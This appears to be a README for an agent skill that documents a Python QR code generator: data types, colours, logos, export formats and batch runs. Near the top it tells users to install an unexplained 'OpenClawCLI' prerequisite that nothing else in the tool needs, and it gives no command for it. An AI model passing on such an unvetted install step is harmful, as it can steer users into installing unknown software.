QR Code Generator
Generate customizable QR codes for URLs, text, WiFi credentials, contact cards, and more. Supports batch generation, custom styling, logo embedding, and multiple export formats.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)
Installation:
# Standard installation
pip install qrcode[pil] segno
# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install qrcode[pil] segno
Never use --break-system-packages as it can damage your system's Python installation.
Quick Reference
| Task | Command |
|---|---|
| Basic URL QR code | python scripts/qr.py "https://example.com" |
| Text QR code | python scripts/qr.py --type text "Hello World" |
| WiFi QR code | python scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret" |
| vCard contact | python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" |
| Custom colors | python scripts/qr.py "URL" --fg-color blue --bg-color white |
| With logo | python scripts/qr.py "URL" --logo logo.png |
| SVG format | python scripts/qr.py "URL" --format svg |
| Batch generation | python scripts/qr.py --batch urls.txt --output-dir qrcodes/ |
Core Features
1. Multiple Data Types
Generate QR codes for various data types with automatic formatting.
Supported Types:
- URL - Websites and web links
- Text - Plain text messages
- WiFi - WiFi network credentials
- vCard - Contact information (VCF format)
- Email - Email addresses with optional subject/body
- Phone - Phone numbers (tel: links)
- SMS - SMS messages with recipient and text
- Geo - Geographic coordinates
- Event - Calendar events (iCal format)
- Custom - Any custom data
2. Customization Options
Personalize QR code appearance:
- Foreground and background colors
- Custom error correction levels
- Border size adjustment
- Module size control
- Logo/image embedding
3. Multiple Export Formats
Export in various formats for different use cases:
- PNG - Raster images (default)
- SVG - Vector graphics (scalable)
- PDF - Print-ready documents
- EPS - Vector format for design tools
- Terminal - ASCII art for terminal display
4. Batch Processing
Generate multiple QR codes from:
- Text files (one entry per line)
- CSV files (with metadata)
- JSON files (with configuration)
Basic Usage
URL QR Codes
Generate QR codes for websites and links.
# Simple URL
python scripts/qr.py "https://example.com"
# With custom filename
python scripts/qr.py "https://github.com" --output github_qr.png
# High error correction for printed codes
python scripts/qr.py "https://mysite.com" --error-correction H --output site_qr.png
Output:
QR code generated: qrcode.png
Size: 290x290 pixels
Error correction: M (Medium)
Data: https://example.com
Text QR Codes
Encode plain text messages.
# Simple text
python scripts/qr.py --type text "Hello, World!"
# Multi-line text
python scripts/qr.py --type text "Line 1\nLine 2\nLine 3" --output message.png
# Large text (automatic size adjustment)
python scripts/qr.py --type text "$(cat message.txt)" --output text_qr.png
WiFi QR Codes
Create scannable WiFi credentials.
# WPA/WPA2 network
python scripts/qr.py --type wifi --ssid "MyNetwork" --password "SecurePassword123"
# WPA2 network (explicit)
python scripts/qr.py --type wifi --ssid "HomeWiFi" --password "pass123" --security WPA
# Hidden network
python scripts/qr.py --type wifi --ssid "SecretNet" --password "secret" --hidden
# Open network (no password)
python scripts/qr.py --type wifi --ssid "GuestNetwork" --security nopass
Security types: WPA, WEP, nopass
Output QR contains:
WIFI:T:WPA;S:MyNetwork;P:SecurePassword123;H:false;;
Contact Cards (vCard)
Generate vCard QR codes for easy contact sharing.
# Basic contact
python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"
# Full contact details
python scripts/qr.py --type vcard \
--name "Jane Smith" \
--phone "+1234567890" \
--email "jane@example.com" \
--organization "Tech Corp" \
--title "Senior Developer" \
--url "https://janesmith.com" \
--address "123 Main St, City, State, 12345" \
--output jane_contact.png
# Multiple phone numbers
python scripts/qr.py --type vcard \
--name "Bob Johnson" \
--phone "+1234567890" \
--phone-home "+0987654321" \
--email "bob@email.com"
Generated vCard format:
BEGIN:VCARD
VERSION:3.0
FN:John Doe
TEL:+1234567890
END:VCARD
Email QR Codes
Create mailto: links with optional subject and body.
# Simple email
python scripts/qr.py --type email --email "contact@example.com"
# With subject
python scripts/qr.py --type email --email "support@company.com" --subject "Support Request"
# With subject and body
python scripts/qr.py --type email \
--email "info@example.com" \
--subject "Inquiry" \
--body "I would like more information about..."
Output QR contains:
mailto:contact@example.com?subject=Support%20Request&body=Message%20text
Phone Number QR Codes
Generate clickable phone links.
# Simple phone number
python scripts/qr.py --type phone --phone "+1234567890"
# International format
python scripts/qr.py --type phone --phone "+44 20 7946 0958"
Output QR contains:
tel:+1234567890
SMS QR Codes
Create pre-filled SMS messages.
# SMS with recipient only
python scripts/qr.py --type sms --phone "+1234567890"
# SMS with message
python scripts/qr.py --type sms --phone "+1234567890" --message "Hello from QR code!"
Output QR contains:
sms:+1234567890?body=Hello%20from%20QR%20code!
Geographic Location QR Codes
Encode GPS coordinates.
# Coordinates only
python scripts/qr.py --type geo --latitude 37.7749 --longitude -122.4194
# With altitude
python scripts/qr.py --type geo --latitude 40.7128 --longitude -74.0060 --altitude 10
# Named location
python scripts/qr.py --type geo --latitude 51.5074 --longitude -0.1278 --location-name "London"
Output QR contains:
geo:37.7749,-122.4194
Calendar Event QR Codes
Generate iCalendar event QR codes.
# Basic event
python scripts/qr.py --type event \
--event-title "Team Meeting" \
--event-start "2024-03-15T14:00:00" \
--event-end "2024-03-15T15:00:00"
# Full event details
python scripts/qr.py --type event \
--event-title "Conference 2024" \
--event-start "2024-06-01T09:00:00" \
--event-end "2024-06-01T17:00:00" \
--event-location "Convention Center, NYC" \
--event-description "Annual tech conference" \
--output conference_qr.png
Customization Options
Colors
Customize foreground and background colors.
# Named colors
python scripts/qr.py "https://example.com" --fg-color blue --bg-color white
# Hex colors
python scripts/qr.py "https://example.com" --fg-color "#FF0000" --bg-color "#FFFFFF"
# RGB colors
python scripts/qr.py "https://example.com" --fg-color "rgb(0,100,200)" --bg-color "rgb(255,255,255)"
# Transparent background
python scripts/qr.py "https://example.com" --bg-color transparent --format png
Common color names: black, white, red, blue, green, yellow, orange, purple, pink, brown, gray
Error Correction
Set error correction level (higher = more damage resistance).
--error-correction <L|M|Q|H>
Levels:
- L - Low (~7% recovery) - Use for digital display
- M - Medium (~15% recovery) - Default, good balance
- Q - Quartile (~25% recovery) - Use when adding logos
- H - High (~30% recovery) - Best for print, damaged surfaces
# Low (smallest QR code)
python scripts/qr.py "https://example.com" --error-correction L
# High (best for print with logo)
python scripts/qr.py "https://example.com" --error-correction H --logo company.png
Size and Border
Control QR code size and border width.
# Custom module size (box size in pixels)
python scripts/qr.py "URL" --box-size 20
# Custom border (modules)
python scripts/qr.py "URL" --border 2
# Large QR code
python scripts/qr.py "URL" --box-size 30 --border 4 --output large_qr.png
# Minimal QR code (no border)
python scripts/qr.py "URL" --border 0 --output minimal_qr.png
Defaults:
- Box size: 10 pixels
- Border: 4 modules (recommended minimum)
Logo Embedding
Add logos or images to QR codes.
# Add logo (center)
python scripts/qr.py "https://company.com" --logo company_logo.png
# Custom logo size (percentage of QR code)
python scripts/qr.py "URL" --logo logo.png --logo-size 20
# High error correction recommended with logos
python scripts/qr.py "URL" --logo logo.png --error-correction H
Logo tips:
- Use square or circular logos
- Keep logo size ≤ 30% of QR code
- Use high error correction (Q or H)
- Test scanning after adding logo
Export Formats
PNG (Default)
Raster image format, good for digital use.
python scripts/qr.py "https://example.com" --format png --output qr.png
Best for: Web, digital displays, simple sharing
SVG (Vector)
Scalable vector graphics, perfect for any size.
python scripts/qr.py "https://example.com" --format svg --output qr.svg
Best for: Print, design work, scaling to any size
Print-ready PDF documents.
python scripts/qr.py "https://example.com" --format pdf --output qr.pdf
Best for: Printing, documents, archival
EPS
Encapsulated PostScript for professional design tools.
python scripts/qr.py "https://example.com" --format eps --output qr.eps
Best for: Professional design software (Adobe Illustrator, etc.)
Terminal
Display QR code as ASCII art in terminal.
python scripts/qr.py "https://example.com" --format terminal
Output:
█████████████████████████████
█████████████████████████████
████ ▄▄▄▄▄ █▀█ █▄▄▄▄▄ ████
████ █ █ █▀▀▀█ █ █ ████
████ █▄▄▄█ █▀ ▀ █▄▄▄█ ████
...
Best for: Quick terminal display, debugging
Batch Generation
From Text File
Generate QR codes from a list of URLs or text.
# Create input file
cat > urls.txt << EOF
https://example.com
https://github.com
https://google.com
EOF
# Generate batch
python scripts/qr.py --batch urls.txt --output-dir qrcodes/
Output:
qrcodes/
├── qr_001.png
├── qr_002.png
└── qr_003.png
From CSV File
Generate with metadata (filenames, options).
# Create CSV
cat > contacts.csv << EOF
name,phone,email,filename
John Doe,+1234567890,john@example.com,john_qr.png
Jane Smith,+0987654321,jane@example.com,jane_qr.png
EOF
# Generate batch
python scripts/qr.py --batch contacts.csv --type vcard --output-dir contacts/
From JSON File
Generate with full customization per QR code.
# Create JSON config
cat > qr_config.json << EOF
[
{
"data": "https://example.com",
"output": "example_qr.png",
"fg_color": "blue",
"bg_color": "white"
},
{
"type": "wifi",
"ssid": "MyNetwork",
"password": "secret",
"output": "wifi_qr.png"
}
]
EOF
# Generate batch
python scripts/qr.py --batch qr_config.json --output-dir custom/
Common Workflows
Event Check-In System
Generate QR codes for event tickets.
# Create ticket QR codes with unique IDs
python scripts/qr.py --type text "TICKET-001-VIP" --output tickets/ticket_001.png
python scripts/qr.py --type text "TICKET-002-GENERAL" --output tickets/ticket_002.png
# Or batch from CSV
cat > tickets.csv << EOF
ticket_id,type,name
TICKET-001,VIP,John Doe
TICKET-002,GENERAL,Jane Smith
EOF
python scripts/qr.py --batch tickets.csv --template "TICKET-{ticket_id}-{type}" --output-dir tickets/
Restaurant Menu
Create QR code for digital menu.
# Menu URL
python scripts/qr.py "https://restaurant.com/menu" \
--output menu_qr.png \
--box-size 15 \
--error-correction H
# Print version (PDF)
python scripts/qr.py "https://restaurant.com/menu" \
--format pdf \
--output menu_qr.pdf \
--box-size 20
WiFi Guest Access
Generate WiFi QR code for guests.
# Print-friendly version
python scripts/qr.py --type wifi \
--ssid "Guest_Network" \
--password "GuestPass123" \
--format pdf \
--output wifi_guest.pdf \
--box-size 15 \
--error-correction H
# Poster with logo
python scripts/qr.py --type wifi \
--ssid "Guest_Network" \
--password "GuestPass123" \
--logo company_logo.png \
--output wifi_poster.png \
--box-size 20
Contact Card Distribution
Create scannable business cards.
# Generate vCard
python scripts/qr.py --type vcard \
--name "John Doe" \
--phone "+1234567890" \
--email "john@company.com" \
--organization "Tech Corp" \
--title "CEO" \
--url "https://company.com" \
--format svg \
--output business_card.svg
# Print version
python scripts/qr.py --type vcard \
--name "John Doe" \
--phone "+1234567890" \
--email "john@company.com" \
--format pdf \
--output business_card.pdf \
--box-size 12
Product Packaging
QR codes for product information.
# Product info URL
python scripts/qr.py "https://product.com/info/SKU12345" \
--output product_qr.svg \
--format svg \
--fg-color "#000000" \
--bg-color transparent
# With error correction for damaged packaging
python scripts/qr.py "https://product.com/info/SKU12345" \
--error-correction H \
--output product_qr_robust.png
Social Media Links
QR codes for social profiles.
# Instagram
python scripts/qr.py "https://instagram.com/username" --output instagram_qr.png
# LinkedIn
python scripts/qr.py "https://linkedin.com/in/username" --output linkedin_qr.png
# Multiple platforms (batch)
cat > social.txt << EOF
https://twitter.com/username
https://instagram.com/username
https://linkedin.com/in/username
https://github.com/username
EOF
python scripts/qr.py --batch social.txt --output-dir social_qr/
Payment Links
QR codes for payment services.
# PayPal
python scripts/qr.py "https://paypal.me/username" --output paypal_qr.png
# Venmo
python scripts/qr.py "venmo://username" --output venmo_qr.png
# Cash App
python scripts/qr.py "https://cash.app/$username" --output cashapp_qr.png
Best Practices
Size and Scanning
- Minimum size: 2cm × 2cm for reliable scanning
- Viewing distance: QR size should be 10% of scanning distance
- Border: Keep at least 4 modules border (quiet zone)
- Testing: Always test scan before printing
Error Correction
- Digital display: Use L or M
- Print without logo: Use M
- Print with logo: Use H
- Outdoor/damaged: Use H
Colors
- High contrast: Dark foreground, light background
- Avoid: Light colors on light, dark on dark
- Print: Use pure black/white for best results
- Branding: Test custom colors before mass production
Logo Integration
- Size: Keep logo ≤ 25-30% of QR code
- Error correction: Use Q or H level
- Position: Center placement works best
- Testing: Verify scanning with logo
File Formats
- Digital: PNG for web, screens
- Print: PDF or SVG for scalability
- Design: SVG or EPS for editing
- Archive: Keep source data and SVG version
Troubleshooting
Installation Issues
"Missing required dependency"
# Install dependencies
pip install qrcode[pil] segno
# Or use virtual environment
python -m venv venv
source venv/bin/activate
pip install qrcode[pil] segno
"PIL/Pillow not found"
pip install Pillow
Generation Issues
"QR code too complex"
- Reduce data size
- Use higher version (auto-adjusts)
- Split into multiple QR codes
"Cannot scan QR code"
- Increase error correction
- Ensure sufficient contrast
- Check minimum size
- Remove or reduce logo size
- Test in good lighting
"Logo obscures data"
- Reduce logo size (--logo-size)
- Increase error correction to H
- Use simpler logo design
File Issues
"Cannot save file"
- Check output directory exists
- Verify write permissions
- Check disk space
"Invalid color format"
- Use named colors: red, blue, green
- Use hex: #RRGGBB
- Use rgb: rgb(R,G,B)
Command Reference
python scripts/qr.py [DATA] [OPTIONS]
DATA:
Text string, URL, or data to encode (required unless using --batch)
GENERAL OPTIONS:
--type Data type (url|text|wifi|vcard|email|phone|sms|geo|event)
-o, --output Output filename (default: qrcode.png)
-f, --format Format (png|svg|pdf|eps|terminal)
CUSTOMIZATION:
--fg-color Foreground color (default: black)
--bg-color Background color (default: white)
--error-correction Error correction (L|M|Q|H, default: M)
--box-size Module size in pixels (default: 10)
--border Border size in modules (default: 4)
--logo Logo image path
--logo-size Logo size percentage (default: 20)
WIFI OPTIONS:
--ssid Network SSID
--password Network password
--security Security type (WPA|WEP|nopass)
--hidden Hidden network flag
VCARD OPTIONS:
--name Full name
--phone Phone number
--phone-home Home phone
--phone-work Work phone
--email Email address
--organization Company/organization
--title Job title
--url Website URL
--address Full address
EMAIL OPTIONS:
--email Email address
--subject Email subject
--body Email body
PHONE/SMS OPTIONS:
--phone Phone number
--message SMS message text
GEO OPTIONS:
--latitude Latitude coordinate
--longitude Longitude coordinate
--altitude Altitude (optional)
--location-name Location name (optional)
EVENT OPTIONS:
--event-title Event title
--event-start Start datetime (ISO format)
--event-end End datetime (ISO format)
--event-location Event location
--event-description Event description
BATCH OPTIONS:
--batch Input file (txt|csv|json)
--output-dir Output directory for batch
--template Filename template for batch
HELP:
--help Show all options
Examples by Use Case
Quick QR Codes
# URL
python scripts/qr.py "https://example.com"
# Text
python scripts/qr.py --type text "Hello World"
# Phone
python scripts/qr.py --type phone --phone "+1234567890"
Professional QR Codes
# With logo and custom colors
python scripts/qr.py "https://company.com" \
--logo logo.png \
--fg-color "#003366" \
--bg-color "#FFFFFF" \
--error-correction H \
--output company_qr.png
# Print-ready
python scripts/qr.py "https://company.com" \
--format pdf \
--box-size 15 \
--error-correction H \
--output printable_qr.pdf
Functional QR Codes
# WiFi access
python scripts/qr.py --type wifi --ssid "Network" --password "pass123"
# Contact card
python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" --email "john@example.com"
# Calendar event
python scripts/qr.py --type event --event-title "Meeting" --event-start "2024-03-15T14:00:00" --event-end "2024-03-15T15:00:00"
Bulk Generation
# From URL list
python scripts/qr.py --batch urls.txt --output-dir qrcodes/
# From CSV with metadata
python scripts/qr.py --batch data.csv --output-dir output/
# Custom configuration per code
python scripts/qr.py --batch config.json --output-dir custom/
Support
For issues or questions:
- Check this documentation
- Run
python scripts/qr.py --help - Verify dependencies are installed
- Test with simple QR code first
Resources:
- OpenClawCLI: https://clawhub.ai/
- qrcode library: https://pypi.org/project/qrcode/
- segno library: https://pypi.org/project/segno/
- QR code specification: ISO/IEC 18004